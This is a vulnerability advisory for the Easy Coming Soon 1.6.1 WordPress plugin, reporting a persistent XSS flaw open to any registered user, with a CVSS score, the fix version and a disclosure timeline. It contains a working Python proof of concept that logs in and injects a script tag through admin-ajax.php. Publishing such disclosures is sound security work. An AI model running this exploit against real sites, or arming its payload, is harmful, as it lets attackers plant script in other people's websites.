Easy Coming Soon 1.6.1, Persistent XSS
The AJAX function ‘coming_soon_page_settings’, defined in ‘easy-coming-soon/coming-soon-plugin.php’ is available to any registered user. This allows any registered user of the site to enable, and update the settings in the ‘Easy Coming Soon’ Plugin, to output any arbitrary HTML/JS code they wish.
Homepage
https://wordpress.org/plugins/easy-coming-soon/
CVSS Score
4
CSSS Vector
(AV:N/AC:L/Au:S/C:N/I:P/A:N)
Attack Scope
remote
Authorization Required
Registered
Mitigation
Update to version 1.6.3.
Proof of Concept
import requests
s = requests.session()
target = 'http://localhost'
url = '%s/wp-login.php'%target
payload = {
"log":"test",
"pwd":"test",
"wp-submit":"Log+In"
}
r = s.post(url, data=payload)
# Update plugin settings to allow exploitation
url = '%s/wp-admin/admin-ajax.php'%target
payload = {
"action":"coming_soon_page_settings",
"status":"1",
"title":"<script>alert(1)</script>"
}
r = s.post(url, data=payload)
Timeline
- 2015-02-10: Discovered
- 2015-02-10: Vendor notified
- 2015-02-10: Vendor responded
- 2015-02-10: 1.6.2 released – issue still present
- 2015-03-02: Requested follow-up – provided example of how to resolve issue.
- 2015-03-09: Requested follow-up
- 2015-03-11: Version 1.6.3 released – issue resolved
- 2015-03-18: Advisory released